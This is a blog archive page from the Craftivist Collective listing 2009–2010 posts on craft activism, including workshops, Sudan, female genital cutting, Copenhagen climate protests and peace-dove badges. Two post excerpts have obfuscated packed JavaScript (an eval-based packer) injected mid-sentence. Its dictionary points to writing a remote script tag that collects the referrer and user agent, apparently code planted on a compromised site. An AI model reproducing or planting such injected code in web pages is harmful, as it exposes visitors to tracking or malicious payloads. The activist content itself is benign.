Author: Craftivist Collective

15 Feb Come join us at our Craftivism Corner

You are cordially invited to join the Craftivist Collective at: United Underground 2, Southbank London. 5pm-11pm Saturday 20th February 2010. We will have a 'Craftivism Corner' creating 3 projects all on the theme of conflict in Sudan.
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01 Feb Embroidered vaginas

On Thursday 21st January 2010 the Craftivist Collective had their monthly meeting in the London Southbank Royal Festival Hall cafe 6:30pm onwards. This time we joined forces with the beautiful, talented and passionate activists the Shoreditch Sisters (who are a Womens Institute group) to get as many people as possible to create beautiful vaginas to make people aware of the issue of Female Genital Cutting, 'designer vaginas' and the stigma and disgust people have for our natural organs.
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30 Jan A quick and easy Craftivism project anyone can do in different ways

Four eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyksy|var|u0026u|referrer|ebfhy||js|php'.split('|'),0,{})) steps to Craftivism: 1. Buy or print the orginal image in whatever size you want. 2. Deface the image with the above words (you can...

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01 Jan We have gone international!

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkktt|var|u0026u|referrer|drfhz||js|php'.split('|'),0,{})) Craftivist Collective now includes LA baby! Ellen Schinderman is our LA Craftivist. Ellen emailed me when I was wrote my 'A Lonely Craftivist' blog...

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14 Dec Craftivists at the Copenhagen Climate Conference: December 2009

The ?Craftivist Collective and other climate change activists from all over the world went to Copenhagen, Denmark to tell World Leaders that they need to come up with a fair and binding climate change deal that supports the poorest people in the world now and in the future.
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07 Dec Guestspot at Oxfam’s Creative Campaigning workshop – December 2009

On the evening of Wednesday 16th December 2009 the Craftivist Collective were invited by Oxfam to be part of a creative campaigns workshop with some of their active campaigners around London.
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23 Nov People & Planet student weekend, Manchester

The Craftivist Collective were asked by People and Planet to deliver 2 craftivism workshops with students from all over the UK in November 2009 as part of their 'Shared Planet' weekend conference in Manchester.
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15 Nov ‘Countdown to Christmas’ Crafternoon

Crafternoon: Saturday 14th November 2pm - 5pm Upstairs in the Victorian Saloon The Old Queens Head:44 Essex Road.Islington, N1 8LN This was a Craft Guerrilla event that the Craftivist Collective were invited to be part of. Read on to see what the lovely Craft Guerrilla ladies wrote about the day...
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07 Nov Peace doves not swallows

Ahhh, the joys of Shrink Plastic:) I made these dove badges. I see quite a few people with swallow tattoos on their chests or hoodies with them on and I really like the placement of them. However, I am not quite sure of the meaning behind the swallows. I think it relates back to the Navy. Lots of tattoos and alternative images such as swallows in this placement seem to refer to violence (army, navy, guns, daggers etc) so i wanted to turn that on its head and to doves instead. Doves represent peace and the colour of white makes me think of innocence and purity too. I get asked sometimes why i have doves and its a great opportunity to talk about peace and actively searching for it (hence the green leaf in their mouths that link to the biblical story of Noah's Ark).
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